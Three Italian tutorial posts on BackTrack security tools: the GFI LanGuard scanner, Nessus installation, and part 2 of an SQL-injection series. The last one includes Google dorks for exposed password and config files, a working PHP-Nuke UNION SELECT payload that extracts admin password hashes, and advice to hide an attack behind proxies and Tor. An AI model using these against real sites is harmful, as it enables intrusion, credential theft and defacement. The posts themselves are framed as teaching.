Ciao a tutti,

come da titolo oggi andrmo a drscrivere uno dei Vulneability Scanner più famosi che si vedono in rete , stiamo parlando del GFI-Languard , (attualmente alla versione 2.0) , inserito da sempre , in BackTrack nell’ apposita sezione del “Vulnerability Identification“.

GFI-Languard è un prodotto della GFI Security & Messaging Software , è molto famoso e diffuso , grazie alla sua versatilità.

In BackTrack GFI-Languard si avvia grazie all’ ausilio di Wine , infatti già dalla prima apertura del programma l’interfaccia grafica in winz style , è ampiamente riconoscibile.

Il pregio di un programma del genere è quello di racchiudere dentro di se più tools , in grado di metterci nelle migliori condizioni per fare il test delle vulnerabilità note di più domini o server , di ricercare patch mancanti eccetera…

Voglio specificare subito che GFI-Languard può essere usato per identificazione delle vulnerabilità da parte di admin e non per creare attacchi e quindi eseguire pentesting , anche se dopo una scansione effettuata si può decidere di compiere lo stesso un attacco , ma vedrete dalle righe che seguono eventuali opzioni da prendere in considerazione.

Avendo in locale il mio Server , facciamo con GFI-Languard una prova per vedere come funziona e che risultato ci fornisce.

Passiamo quindi a fare il nostro scanning , non prima naturalmente di aver messo a posto delle opzioni…

Innanzitutto bisogna selezionare l’ host da scannerizzare , che potrebbero essere anche più di uno , potremmo effettuare delle scansioni di interi network , su un intero dominio Windows ad esempio e dal risultato in basso , in formato html , riusciremo a vedere tutte le informazioni raccolte , host per host.

Nel mio caso , avendo nella mia Lan un Server all’ indirizzo 29.230.6.75 , inserirò quest’ IP nello spazio indicato in alto , tenendo conto di tenermi l’ host anche per futuri esperimenti , dandogli quindi un nome , un eventuale commento e salvando il tutto.

Ma andiamo avanti…

Nella selezione degli Alerts , l’ icona con il punto esclamativo , vengono inserite tutte quelle vulnerabilità che a noi più interessano , ma che GFI-Languard seleziona automaticamente tutte in blocco.

Questa l’interfaccia dopo la scannerizzazione del server..

***

***

Come possiamo vedere dall’ immagine , GFI-Languard ci ha restituito un ampio e dettagliato risultato , dagli header del sito che si trova sul server , all’ intero range di informazioni che il server usa per i DNS e la Subnet che uso io.

Lo scanning , bisogna dirlo , non è durato molto , ed ha restituito un buon numero di informazioni , dal MAC-Address , a tutti i servizi aperti , porta per porta , che nel nostro caso sono stati individuati:

Il servizio Samba , il webserver Apache con tipo di protocollo , (SSH – HTTP-secure) , PHP alla versione 5.2.1 , Il tipo di server WinServer2003 Spk.2 , la versione , e 5 porte aperte con tanto di servizio incluso.

La caratteristica principale di un prodotto quale GFI-Languard , è quella di evitare all’ utente di verificare servizio per servizio tutte le possibili “aperture” sconsiderate e che potrebbero causare problemi legati a vulnerabilità “note” , con un notevole risparrmio di tempo e di lavoro.

La rilevazioni che GFI-Languard tiene in considerazione principalmente sono:

Il tipo di Server , la versione ed eventuale Service Pack.—>Nel nostro caso ripeto: WinServ.2003 – Spk.2 – con il Mac-Address riportato , il nome del Workgroup ed il nome dell’ host.

Le eventuali patch di sicurezza mancanti

I punti di accesso Wireles.

Condivisioni in linea e porte aperte.

—>Nel nostro caso ha trovato: Samba , Subnet , 5 porte aperte con servizi annessi e nessun utente “loggato”

Naturalmente volendo possiamo “maneggiare” tutti i tipi di alert , solo per fare un esempio ho lasciato selezionata la spunta sul controllo CGI , (Common Gateway Interface) , perché l’ host da scannerizzare conteneva un webserver , ma nel caso sia stato una situazione diversa , per risparmio di tempo e di lettura risultato , avrei benissimo potuto togliere la spunta di selezione.

Il tutto è stato eseguito nel mio caso per la prima volta con GFI-Languard , la prossima volta potrò tenere il profilo salvato con le stesse condizioni di utilizzo.

Una caratteristica , importante , che GFI-Languard ci mette a disposizione è l’ accesso da remoto sul computer/server con delle credenziali determinate… …esempio:

***

***

Nel caso indicato in figura , possiamo vedere che le impostazioni di accesso sono quelle che GFI-Languard usa di default , ma che noi possiamo cambiare a seconda della situazione in cui ci troviamo.

Sul mio server , non posso ovviamente accedervi senza credenziali , sono nella mia subnet , abbastanza sicura , ma per accedervi devo usare username e password dell’ account administrator oppure di un utente guest o altro.

Questa particolare scelta ci permette di avere dal risultato della scansione molte cose utili in più alla scansione già effettuata in precedenza , come ad esempio il test della complessità della password usata , , per i sistemi UNIX della KEY , mettendoci in condizioni tali da poterla eventualmente cambiare.

Quando in questo caso GFI-Languard esegue una scansione , le credenziali di accesso da remoto sono quelle che caratterizzano il sistema su cui GFI-Languard è in esecuzione , intese come “default”.

Queste credenziali che GFI-Languard ci fa inserire sono , come detto sopra , salvabili all’ interno di ogni profilo , in questo modo ci possiamo connettere ad ogni server con delle credenziali diverse , ognuna contenuta in un profilo diverso, eseguibile ad ogni scansione singolarmante e tutti insieme , tanto il risultato sarà sempre descrittivo host – per – host , server per server , dominio per dominio.

GFI-Languard è un’ ottimo tool per la scansione di Servizi aperti e di Eventuali possibili falle su sistemi , ma come pentesting , (inteso come vero attacco) , bisogna rendersi conto di più fattori , come , giusto per fare qualche esempio , il fatto che GFI-Languard lascia log sui sistemi scannerizzati , avverte in modo chiaro gli admin dei ping ricevuti , non performa i ping dopo che l’ host in ricezione ha rigettato lo stesso , considerandolo down , spento… …ma non credo sia questo il suo scopo.

Per ciò per cui è stato creato , è un ottimo tool senza ombra alcuna , in caso di BUG “noti” , GFI-Languard ci fornisce addirittura la natura della patch e dove poterla reperire , questo è propriamente il suo ruolo a cui credo adempia ampiamente , pensiamo ad un admin aziendale , che deve tenere sott’ occhio una cinquantina di pc magari su più domini , non credo che sia un programma di cui si possa fare a meno.

Il mio server , creato per consentirmi di fare pentesting , quindi BUGato se preso all’ interno della mia subnet , non è stato oggetto di verifica da parte di GFI-Languard , la versione di PHP che utilizzo insieme alla versione di apache porta un BUG , (anche vecchio e molto conosciuto) , ma che non è risultato nella scansione.

Nel compenso GFI-Languard è stato in grado di enumerarmi tutta la subnet e l’ ha fatto in maniera velocissima , e soprattutto è stato in grado di riportarmi tutte le informazioni che un admin , su WinServer 2003 , avrebbe scoperto con molto più tempo e lavoro.

Un altro dei tanti ottimi prodotti inseriti in BackTrack , che usato allo scopo giusto , ci evita di spendere una granparte di tempo e fatica.

I risultati di scansione sono organizzati in categorie , e visibili comodamente all’ occhio tramite delle icone , di cui ne riporto un solo esempio:

Da qui possiamo già capire che se abbiamo bisogno di scannerizzare e tenere sotto controllo 2/3 domini , GFI-Languard è quello che fa al caso nostro.

La grande veersatilità di configurazione poi di cui gode GFI-Languard è a dir poco eccezionale , secondo ogni criterio è possibile fare una configurazione diversa della nostra scansione , facendo riferimento ad una scansione predefinita con un determinato profilo salvato , GFI-Languard ci mette al corrente delle diversità tra più scansioni e lo fa con le caratteristiche di cui gode maggiormente , velocità ed efficacia di analisi settore per settore , servizio per servizio , con orario di login di eventuali utenti connessi e tutto ciò che serve ad un admin per poter tenere sotto controllo il proprio network , il tutto comodamente salvato in un file html.

***

***

Ciao a tutti e alla prossima.

Ciao a tutti,

eccomi , e anche dopo brevissimo tempo , a scrivere un altro tutorial , e lo faccio sull’ installazione e la configurazione in backtrack di uno strumento importantissimo , il Nessus.

Ma cos’é il Nessus?

Il Nessus è un programma per lo scanning di vulnerabilità , completo , sicuro e userfriendly , e vi assicuro che è tra i migliori in circolazione. A mio avviso il Nessus è uno strumento unico , a cui un user non può rinunciare , presenta una caratteristica di lavoro non facile da trovare su altri tool , e cioé la possibilità di avere a disposizione un tool che ci faccia lavorare in stile client – server senza alcun tipo di problema Il server può risiedere sul proprio pc in localhost oppure in remoto , e non credo ci siano molti strumenti simili oggi in circolazione.

Il Nessus è un prodotto della Tenable , ed è disponibile oltre che per la nostra backtrack , (naturalmente parlo del fomato pacchettizzato per la Slackware-12.0) , tramite un processo determinato che ora descriverò , anche per altre piattaforme , da Windows a BSD ed altri.

Parlare del Nessus come un semplice scanner è sbagliato , perché il Nessus tramite tutti i suoi plugin , si parla dell’ ordine delle migliaia , e le sue funzioni , è un vero e proprio strumento indispensabile per coloro che lavorano nel campo della sicurezza , e non è facilmente sostituibile.

Il Nessus esegue uno scanning delle vulnerabilità , servendo l’utente con delle informazioni dettagliate a riguardo delle vulnerabilità trovate durante lo scanning avvalendosi anche di link esterni sempre aggiornati per le informazioni , evidenziando e classificando le vulnerabilità una ad una , ed è per questo che non può essere definito solo uno scanner , e che non può mancare in una distro al top come backtrack.

Purtroppo i problemi di licenza non possono essere discussi da noi , ma solo giudicati , ed una casa come la Tenable che non usa la licenza GPL-2 , impedendo al remote-exploit di inserire il Nessus in backtrack-3beta , a mio modestissimo parere , ci perde qualcosina , anche se il Nessus , come tool , non ha bisogno di altri commenti.

Nella versione 2 di backtrack , ricordo che dovetti registrarmi alla Tenable , ed ottenere un serial number , questa volta non sono sicuro che serva ancora , ma io ce l’ho , fossi in voi , mi registrerei , non ci costa nulla d’altronde , e in più sul suto di Tenable Network ci sono delle guide ed un DEMO , a cui in caso di necessità o anche solo per approfondire la cosa , possiamo sempre far riferimento.

Già in qualche articolo precedente ho fatto presente la mia totale approvazione nell’ inserire in backtrack3beta il nuovo server grafico Xorg , cosa che ci permette di avere tutti i programmi che possono attualmente girare su Slackware-12.0 , e al contrario della versione 2 della backtrack , con la quale per avere il Nessus ricordo che dovetti compilarmi tutti e 5 i pacchetti con il 30/40% delle librerie mancanti , questa volta possiamo prenderci benissimo i pacchetti Slackware-12.0 direttamente dai repository di Slacky.eu , i miei preferiti.

La prima cosa da fare quindi per avere il Nessus correttamente installato sulla nostra macchina è andarci a scaricare i seguenti pacchetti , che potete lasciare benissimo nella vostra /root.

libnasl-2.2.10-i486-1sl.tgz

nessus-client-1.0.2-i486-1sl.tgz

nessus-core-2.2.10-i486-1sl.tgz

nessus-libraries-2.2.10-i486-1sl.tgz

nessus-plugins-2.2.10-i486-1sl.tgz

Una volta che tutti i pacchetti sono stati scaricati nella vostra /root , directory di download di default in backtrack , andate in konsole e digitate il comando:

installpkg *.tgz

In questo modo tutti i pacchetti nell’ ordine di sistema verranno installati nella vostra macchina , e alla fine avrete il vostro Nessus in attesa di configurazione.

Naturalmente dovete stare attenti a non avere nessun altro pacchetto con estensione *.tgz nella vostra /root , altrimenti verrà installato o reinstallato , quindi se ne avete qualcuno come residuo , spostatevelo in un’ altra directory.

Ora , una volta che abbiamo il nostro Nessus , vediamo come poterlo configurare.

Una volta aperto il Nessus si presenta con una buona interfaccia grafica , e subito ci viene chiesto di eseguire un login , che va eseguito inserendovi i propri dati. Per inserire questi dati però è necessario crearsi degli utenti da aggiungere alla lista di Nessus , e gli user per Nessus vanno creati tramite terminale con il comando:

nessus-adduser

Una volta eseguito il comando si seguono le indicazioni del sistema , in backtrack essendo utente root non si deve fare altro che premere invio appena settati user e password , e l’utente abilitato ad eseguire il login per il Nessus è stato creato.

Ora creiamo una certificazione per Nessus , che praticamente è solo un documento che abilita Nessus in connessione SSL , che anche se può sembrare strano , date le domande private , sono informazioni che non vengono rivelate a nessuno ma risiedono nel database di Nessus che si trova sulla nostra macchina , e precisamene in questa posizione:

Nessus Server :
Certificate = /usr/com/nessus/CA/servercert.pem
Private key = /usr/var/nessus/CA/serverkey.pem

risposta che vi viene data in konsole alla fine della configurazione/creazione del certificato , quindi potete stare tranquilli…

il comando per la creazione del certificato è:

nessus-mkcert

Ora dobbiamo passare alla configurazione finale di Nessus , e cominciamo con il fargli caricare tutti i plugin , ( sono 15020 ) , dando da konsole il comando:

nessusd -D
aspettiamo che Nessus si carichi i propri plugin e diamo da konsole il comando per farlo partire:

nessus

(Anche se installato correttamente il Nessus , è possibile che non si sia inserita nel menu di KDE , basta lanciarlo da konsole con il semplice comendo nessus).

Come potete vedere sono “loggato”, ossia sono riuscito , ad avviare da utente root (root solo per il nome) , il Nessus , che al primo login subito si è preso altri 50/60 secondi per ripetersi la scansione dei plugin.

Una volta eseguito il login ci verrà mostrato il certificato , e all’ accettazione dello stesso possiamo partire con il nostro Nessus. Ricordo che è meglio fare in modo che ad ogni avvio Nessus aggiorni tutti i plugins , per migliorare lo scanning ed avere sempre a propria disposizione tutti gli strumenti sempre aggiornati.

—–>Nella prima tabella , Nessusd Host , abbiamo , come specificato all’ inizio dell’articolo , la possibilità di inserire un host remoto , oppure come è la scelta di default , di lasciare l’ host locale per avviare lo scanning dalla nostra postazione.

—–>Nella seconda tabella invece , quella dei Plugins , possiamo selezionare tutti quei plugins che a noi più interessano , cercando di tralasciare tutti quelli che invece sono di troppo , non dimentichiamo che oltre a risparmiare tempo , un minor numero di plugins , nel limite del possibile , è necessario perché nel Nessus sono inseriti dei plugins che durante la scansione delle vulnerabilità su di un determinato host possono creare dei seri problemi all’ host stesso , non ultimo un Denial Of Service o anche un crash del sistema.

—–>La terza tabella Credential , serve per fare il setting appunto delle credenziali , e cioé immettere tutti quei dati che se in nostro possesso , possono servirci per l’ingresso ad esempio in un determinato database , e possono essere immessi come dati per il protocollo SSL , Kerberos , Samba eccetera…

—–>La quarta tabella invece riguarda lo Scan Options , ovvero le opzioni di scanning , di cui noi possiamo servirci in vari modi a seconda delle nostre necessità , possiamo inserire una sola porta da scannerizzare inserendo il numero della porta , oppure possiamo inserire una serie di porte separandole tra loro con una virgola ,(–>20,80) , se invece le porte sono diverse e possono essere collocate inserie , ovvero con numero ricorsivo , possiamo inserire la serie di porte separando il numero della prima porta e l’ ultima con un trattino (–> 20-80) , possiamo inserire la PATH da scannerizzare , se diversa da quella di default /cgi-bin:/scripts , possiamo inserire inoltre il metodo di scanning, infatti nella parte bassa della finestra possiamo inserire delle opzioni che ci possono permettere di usare l’ amap , di effettuare o meno dei ping sull’ host remoto , e tutte queste opzioni sono utilizzabili singolarmente , (e anche settando un tempo di timeout) , essendo tutte parte dei plugins.

—–>La quinta tabella è dedicata invece al Target , l’ obbiettivo da scannerizzare , che può essere immesso come IP oppure come nome dell’ host , nel caso in cui dovessimo fare un lavoro più complesso quale ad esempio lo scanning di una rete intera basta inserire tutti gli indirizzi-IP/nomi-host , separandoli oppure aggregandoli come per le porte viste in precedenza , tramite uno slash “/” o una virgola , e.g.: 192.168.122/188 per un intero network oppure 192.168.122.9,192.168.1.7 per due target.

- —->La sesta tabella definisce invece le Regole da applicare all’ user creato prima con il comando dato tramite konsole.

—–>La settima riguarda le Tecniche di scanning , il tuning , e altre opzioni , come quella di poter fare un detecting del firewall , lo scanning delle porte in ordine casuale o meno (random-mode) , la possibilità di un eventuale congestione del sistema target , e anche opzioni da configurare per i tool da adoperare se selezionati nelle tabelle precedenti come l’ amap , a cui possiamo dare l’ abilitazione o meno del SSL , dell’ RPC o altro. Importante in questa tabella da configurare è anche l’ eventualità , sempre e solo se inserita , del HYDRA , che richiede logicamente altrettante configurazioni oppure anche dei files *.txt contenenti dizionari per l’ azione di Bruteforce.

—–>L’ottava e La nona tabella riguardano rispettivamente la nostra volontà o meno di salvare i dati eventualmente ricevuti , e i credit’s della Tenable , a cui vanno i nostri complimenti , magari con la speranza di assunzione di una nuova licenza che possa permetterci di avere Nessus nella backtrack-3final , ma non voglio dilungarmi a riguardo , del resto le licenze sono fatte apposta per non essere sottoposte a giudizio , quindi se la Tenable ha deciso di non aderire alla GPL-2 , noi non possiamo che augurarci solo un cambiamento

Come possiamo vedere da tutte le opzioni e dalla possibilità di utilizzare interi tool all’ interno dello stesso Nessus , stiamo parlando di un prodotto davvero unico , e che se configurato correttamente può diventare uno strumento a cui non si può fare a meno.

ciao a tutti e alla prossima.

Eccoci quì…..arrivati alla seconda parte delle tre che copmpongono la nostra descrizione di quello che poi è l’ attacco di tipo SQL-Injection. Vi dico subito , e spero che l’ immagine sia di buon riferimento , che è reato introdursi all’ interno di siti e database altrui e che le pene previste sono molto severe , ed io che scrivo quest’ articolo come puro scopo didattico/informativo , non mi riterrò responsabile di nulla che possa riguardare atti immorali ed illegali che hanno preso spunto da quest’ articolo/How-To…

E dopo questo dovuto disclamer , passiamo all’ introduzione.

SQL-Injection -pt.2/3- “analisi e attacco” , è un articolo che raccoglie delle categoria importanti , che andrebbero trattate singolarmente , come quella del GoogleHacking , del Whois , e dello Scanning di rete , ma che cercherò di descrivere rapidamente per dare l’ idee più importanti e comunque vi ricordo che scriverò tutto riguardo al Whois e allo scanning al più presto. Naturalmente per arricchire l’ articolo ho inserito anche l’ iniezione di Exploit all’interno ,del resto sempre di codice si tratta , e poi nel caso si voglia fare delle prove di pentesting si possono avere più possibilità.

(Ricordo sempre che all’ interno del BOX ci sono dei manuali , degli How-To.. degli eBook , che possono aiutare bene a capire , e poi ci sono dei testi interi a riguardo, quindi chi volesse approfondire gli basta fare il download , e nel caso in cui cerchi qualcosa che non c’é , mi lasci pure un commento , ed io proverò subito a soddisfare le sue esigenze…)

Ma procediamo con brevi descrizioni per rendere almeno l’ idea , ed iniziamo con il Google haking o meglio:

come utilizzare Google , per ottenere il massimo delle informazioni utili al nostro scopo.

Come ho citato nella parte 1/3 dell’ SQL-Injection , quando noi abbiamo a che fare con un database di tipo SQL , interagiamo con lo stesso database con uno strumento che il database usa , e cioé la query, la ricerca che il DB ,(database) , effettua per ricercare appunto determinate informazioni.

Ho fatto l’ esempio dell’ingresso in un database , con il login che l’ utente effettua e che il database stesso analizza per caratterizzare l’ingresso o il rifiuto verso l’ utente che richiede l’ accesso.

Ora facciamo finta di avere a che fare con lo stessa tecnica , solo che invece di avere come interlocutore un database di tipo SQL , abbiamo il nostro motore di ricerca Google. Per ottenere delle informazioni preziose dal motore di ricerca dovremo usare delle query che vanno inserite con delle determinate stringhe per ricercare ad esempio delle directory , delle cartelle e dei file. Se noi vogliamo ottenere dei risultati particolari dal nostro motore di ricerca , dobbiamo interagire con esso con determinati comandi da inserire nella barra di “cerca” , se io ad esempio cerco una serie di risultati che possono essere dei DB che contengono ad esempio al proprio interno determinati files o determinate directory dobbiamo interagire con Google inserendo nella barra di ricerca un comando di questo tipo:

inurl:esempio

tutti i risultati che contengono nell’ url dei siti la stringa esempio , saranno visualizzati , così come saranno visualizzati tutti i risultati che conterranno ogni nostra stringa immessa.

A questo punto ci si può domandare benissimo se si possono trovare soluzioni anche diverse a riguardo , e cioé:

Noi sappiamo che su di un determinato webserver la “zona” riservata agli amministratori è la “/” , ovvero la root , e se andiamo a scrivere: Index of /root sulla barra di ricerca di Google , vediamo che i risultati non mancano , anzi! È così anche per tutte le altre informazioni di cui può necessitare una persona che lavora , oppure un semplice utente che vuole testare la sicurezza del proprio webserver , e che può ricercare il suo host tra quelli indicati , per vedere se è a rischio o meno.

queste riportate di seguito sono solo alcune delle query che possono essere utilizzate per la ricerca in rete e il test della propria rete.

*************

allinurl:admin.php site:.edu
“Index of /admin”
“Index of /root”
“Index of /password”
“Index of /” +passwd
allintitle: “index of/admin”
allintitle: restricted filetype:doc site:gov
allinurl:auth_user_file.txt
intitle:”Index of” config.php
intitle:index.of.etc
inurl:config.php dbuname dbpass
intitle:”Index of” master.passwd
intitle:”Index of” .mysql_history
intitle:”index of” trillian.ini
intitle:”Index of” spwd.db passwd -pam.conf
intitle:”Index of” pwd.db
intitle:”Index of” secring.bak
intitle:”Index of” “people.lst”
intitle:”Index of..etc” passwd
intitle:”Index of” passwd passwd.bak
intitle:index.of passlist
intitle:”Index of” .bash_history
intitle:”Index of” service.pwd
intitle:”Index of” shtml.dll
intitle:”Index of” shtml.exe
intitle:”Index of” AT-admin.cgi
intitle:”Index of” glimpse
intitle:”Index of” guestbook.cgi
intitle:”Index of” perl
intitle:”Index of” show
intitle:”Index of” index.html~
intitle:”Index of” stats.html

*************

È ovvio che se il nostro sito è tra gli elencati , dovremo testare la situazione fino in fondo, perché queste query sono sulla rete e alla portata di tutti…purtroppo anche delle persone più maleintenzionate.Dopo aver fatto , (spero in maniera sufficientemente apprezzabile) , appena qualche sempio di query per il Google Hacking passiamo ora a fare due parole su cos’é il Whois…

Il Whois , dall’ inglese chi é? , è un servizio , che viene messo a disposizione da alcuni siti intenet e che seve ad ottenere informazioni su di cose particolari , su persone , suhost , su servizi , e che consentono agli utenti di sapere cose che altrimenti sarebbero più difficoltose da reperire in motori di ricerca semplici , proprio perché i siti che forniscono il servizio di Whois si occupano solo del servizio stesso , e non di altro , e di conseguenza i risultati saranno risultati specifici.

Il servizio che noi utilizzeremo è il WHOIS di ripe.net

http://www.ripe.net/ , che in backtrack2 si trova in:

KdeStart—>backtrack—>InformationGatering—>Whois—>OnLineResource—>www.ripe.net

La terza ed ultima parte degli articoli riguardanti l’ SQL-Injection , che riguarderà tutti i tool inseriti in backtrack2 , ed il loro possibile utilizzo , conterrà anche le specifiche argomentazioni che riguardano i servizi di Whois inseriti come collegamenti nella distro stessa , i tool con i connessi comandi per utilizzare al meglio “tutti” i servizi riguardanti Google , e una buona ,(almeno spero), descrizione , per categoria , degli Scanning.

Per quanto riguarda il nostro caso l’ utilizzo riguarda il voler scoprire il sistema operativo che l’ eventuale host da attaccare usa , insieme ai servizi connessi.

Vi ho fatto un breve approccio alle stringhe del Google hacking , perché una tecnica dell’ SQL-Injection , può essere usata proprio in maniera simile…

Una famosa , (ma visto che ancora funziona , non abbastanza) , SQL-Injection , è quella rivolta ai siti in PHP-Nuke.

Cos’é il PHP-Nuke?

Il PHP-Nuke è un semplice CSM , basato logicamente sul linguaggio PHP , e che ci permette di creare siti internet con l’ apporto di script php che ci permettono , proprio come il Joomla! descritto nella parte 1/3 di questa serie di articoli , di avere il nostro sito web senza per forza dover conoscere tutto il linguaggio PHP.

Alcuni siti in PHP-Nuke , sempre parlando di quelli non ancora patchati per questa query , sono infatti vulnerabili alla seguente stringa:

p0hh0nsee%’) UNION ALL SELECT 1,2,aid,pwd,5,6,7,8,9,10 FROM nuke_authors/*

in che modo può essere usata questa stringa?

Questa stringa è una SQL-Injection che va usata all’ interno di motori di ricerca dei siti in PHP-Nuke.

Se un maleintenzionato , all’interno di un sito in PHP-Nuke , incolla questa stringa nel motore di ricerca interno al sito , può , (sempre se il sito non è ancora stato patchato , ma purtroppo vi assicuro che ce ne sono ancora di non patchati) , può benissimo ritrovarsi davanti ad una serie di password hashate , (criptate) , in md5 , e con il nome di chi ha messo il contributo…e cioé l’ admin , e con tutte le risorse che ci sono sulla rete , create per scopi diversi logicamente , possono subito essere tradotte in password in chiaro , e possiamo immaginare cosa può succedere se il maleintenzionato è una di quelle persone che ama porre la propria immagine gigante defacciando il sito web. Questa tecnica esplica chiaramente quella che è la SQL-Injection , che anche se i programmatori lavorano sempre di più per evitare queste igniezioni di codice maligno , non possono essere mai al sicuro al 100% , perché…ricordiamolo che nessuno , e ripeto nessuno , è mai sicuro al 100% , colui che si definisce sicuro al 100% sbaglia ……..e di grosso.

Quando andiamo in giro per la rete , e ci capita di trovare qualche sito defacciato , come è potuto accadere?

Bene , anche se ci sono moltissimi modi per fare defacing , questo appena elencato è uno di questi.

Nello scrorso articolo , abbiamo installato il Webserver Apache con il Perl , il PHP e il MySQL , tramite lo Xampp , dopodiché abbiamo seguito una guida che ci permette , volendo , di avere un sito in locale con Joomla! il CSM opensource.

Durante l’installazione , abbiamo visto che la pagina principale (ovvero la home , la pagina principale che si raggiunge quando si accede ad un determinato indirizzo) , è descritta nell’ index.php …..che viene richiamata nei siti scritti appunto in PHP , tramite ad esempio l’inidirizzo http://sitoesempio.it/index.php?

bene , questo è il file che i defacer cambiano , ponendo del codice all’ interno del file che richiama ad esempio un immagine , “hostata” su di un altro server , (con un collegamento scritto logicamente in PHP) , e messa sopra il resto del codice del file index.php , anzi , a volte purtroppo sostituendo addirittura tutto il file.

Quest’ operazione , fa in modo che coloro che visitano il sito , vedano invece della homepage , l’ immagine posta dal defacer , e che potete pensare bene voi , cosa voglia dire agli occhi di un amministratore una cosa del genere.

Come ho già detto in passato , la vera arte stà nello scoprire nuove query , per comunicarle subito agli addeti , e non prelevare queste o quelle in giro per la rete per far defacing!

La mia idea è che una persona corretta non defaccia , ma avverte l’ admin…basta.

Ovviamente , e quì mi ripeto , questo fatto è solo un esempio.

Ci sono altri modi per fare Injection di SQL , come ad esempio quello dell’ rfi , ovvero il Remote-File-Including , lo vedremo avanti.

Il nostro articolo parla in pratica di iniezioni di codice maligno all’ interno di database di tipo SQL , ma non ci sono solo i database SQL , ci sono i database Asp , oppure gli Oracle , e naturalmente tutti hanno i loso piccoli bug sfruttabili…le proprie vulnerabilità.

La soluzione che , almeno io , vedo migliore , è quella di stare sempre allerta , tenendosi aggiornati tramite il collegamento giornaliero a siti come milw0rm o SecurityReason , e sempre tramite questi siti chi vuole come admin può testare la sicurezza del proprio sistema , e della propria rete , perché cito milw0rm e SecurityReason?

Perché sono i siti dove coloro che scoprono nuovi bug , e nuovi exploit , possono inserirli e condividere con tutti la “nuova” conoscenza…. Ovviamente ce ne sono altri , ed io quì cito questi due solo perché sono quelli più famosi e completi che io conosca , ma se qualcuno leggendo quest’ articolo vuole farmene notare di nuovi , benvenga.

Per esplicare correttamente l’idea di come usare una SQL-Injection potete trovare un video , (in spagnolo ma compensibile), che chiarisce ogni dubbio a riguardo , che si trova su milw0rm

Un attacco può essere eseguito in molti modi ed è ovvio che quì io proverò a descriverne uno , per fare in modo che ognuno possa decidere se attuarlo per testare la propria rete.

Questa però sarà una descrizione generale , nel senso che cercherò di rimanere in ambito , ma non tratterà tutto di backtrack , per quanto riguarda backtrack la 3^ ed ultima parte con prove la scriverò appena possibile , in modo che tutta la serie dell’ SQL-Injection sia completa e avrò la possibilità di toccare anche altri ambiti.

Iniziamo dicendo che per effettuare un attacco bisogna crearsi una struttura di anonimato , bisogna in pratica attuare l’ attacco senza che la vittima possa risalire con qualsiasi mezzo al nostro indirizzo , altrimenti realizzeremo un attacco con recapito firma , nome e cognome , e tutto questo per chi rispetta le regole , non è un problema , ma rischieremo di effettuare un attacco falso , perché l’ utente che attacca , malintenzionato o meno , si anonimizza.

I tool per l’anonimizzazione sono vari , i più usati di sicuro sono i Proxy ed il Tor

i Proxy sono dei server che ci consentono di visitare dei siti mostrando ai siti stessi il loro indirizzo e non il nostro , sono abbastanza diffusi e ci sono molti metodi per usarli , dall’ installazione in Firefox del Proxysel o del Foxyproxy oppure passare direttamente per i proxy e dagli stessi iniziare a navigare come , un esempio può esserlo lo Spysurf. Durante un attacco non è raro che l’ attaccante possa essere “proxato” passando per 2/3 proxy. Per una lista proxy che sembra aggiornata vi rimando QUÌ e comunque inserirò a breve un file *.txt nel BOX .

Il TOR invece è un progetto che basa la sua caratteristica più o meno su quella dei proxy….solo che a differenza di proxy , che comunque offrono un servizio pubblico , il TOR è caratterizzato esclusivamente da volontari , che nel mondo si offrono per diventare appunto dei nodi TOR , e far passare per il proprio PC gli utenti che naviganoin rete e che , volendo , possono essere anch’ essi dei nodi TOR. In backtrack , lo strumento del TOR , è già inserito di default dalla prima installazione.

Quì apro una brevissima parentesi: con il TOR si dovrebbe avere a che fare sempre , e non solo quando si prende in considerazione un pentesting , è uno strumento che ci garantisce la libertà di poter navigare senza essere rintracciati , ma questo non per essere anonimi e poter fare attacchi o altre cose fuorilegge , ma per potersi garantire uno strato di anonimizzazione purtroppo semprepiù a rischio , quindi vi rimando volentiri alla pagina di informazione sul TOR. Dobbiamo però stare molto attenti a quanto scritto nella pagina di informazione e di uso sul TOR , perché un uso scorretto dello stesso TOR può recare danni , nel senso che può anche non funzionare se usato nella maniera sbagliata , quindi: diventare NODO TOR=Sì , ma usarlo bene.

Torniamo ora a noi…

Lo strumento che ci permette di effettuare altre nostre operazioni importanti che riguardano l’ attacco è l IP.

L’ indirizzo IP è costituito da quattro cifre , contraddistinte tra loro da quattro punti , ed ogni indirizzo IP è appartenente ad un determinato sistema , naturalmente inteso come macchina..PC , host.

Per trovare l’ indirizzo IP ci sono vari modi , il WHOIS è tra i più affidabili che io conosca , insieme ad alcuni tool che ci sono in backtrack , nella sezione InformationGatering. Per citarne solo un altro , in Firefox , c’è uno strumento che ogniqualvolta noi lo vogliamo , attivando questa estensione , sul puntatore del mouse apparirà l’ indirizzo IP del sito che abbiamo in pagina , per chi voglia utilizzarlo gli basta installarsi l’estensione che si chiama “HostIP.infoGeolocation”

Ora che abbiamo l’ indirizzo IP dell’ host che vogliamo attaccare , ci attiviamo per scoprire le possibili vulnerabilità sfruttabili sull’ host stesso , e lo facciamo tramite il tool che più ci garba.

Io prenderò come esempio il Superscan 3.0 , (quì su html.it una miniguida al tool , da considerare però che è in windows ma non cambia nulla) , il tool che naturalmente è inserito in backtrack2 , e che gode oltretutto di una buona interfaccia grafica. Il Superscanner è un Portscanner , cioé un programma che effettua una scansione delle porte dell’ host , di cui noi abbiamo inserito l’ IP (trovato prima con i tool che vi ho detto…) , e tra le varie opzioni , ci restituisce il nome dell’ host e le porte con relativi servizi aperti eccetera…

*******Ad esempio:

21 [Ftp => File Transfer Protocol] 220 BulletProof FTP Server ready …

22 [OpenSSH 3.1]

80 [Http => World Wide Web, HTTP]HTTP/1.1 400 Bad Request Server: Microsoft-IIS/5.1

135 [epmap => DCE endpoint resolution]

139 [Netbios-ssn => NETBIOS Session Service]

*******oppure ancora:

443 [HttpS => Secure HTTP]

443 [HttpS => Secure HTTP]

445 [Microsoft-Ds]

*********************

La tecnica di attacco , logicamente può variare secondo la situazione…secondo praticamente la porta aperta che otterremo dai risultati dei nostri tool. Ora se noi Dai dati ricevuti dal Superscanner e dal Whois , decidiamo di prendere ed usare un determinato Exploit.

Ma cos’é un Exploit?

Un Exploit è un metodo che con lo sfruttamento di un bug , di una vulnerabilità , riesca a far ottenere alla persona che ad esempio attacca un determinato sito , i privilegi di amministratore. Ci sono vari tipi di exploit , e gli stessi possono sfruttare vari tipi di bug e vulnerabilità , e nella nostra backtrack2 , i tool inseeriti per il loro sfruttamento sono vari e di ampio uso….ma questa è argomentazione della 3^ ed ultima parte di questa modesta , ma spero chiara , serie.

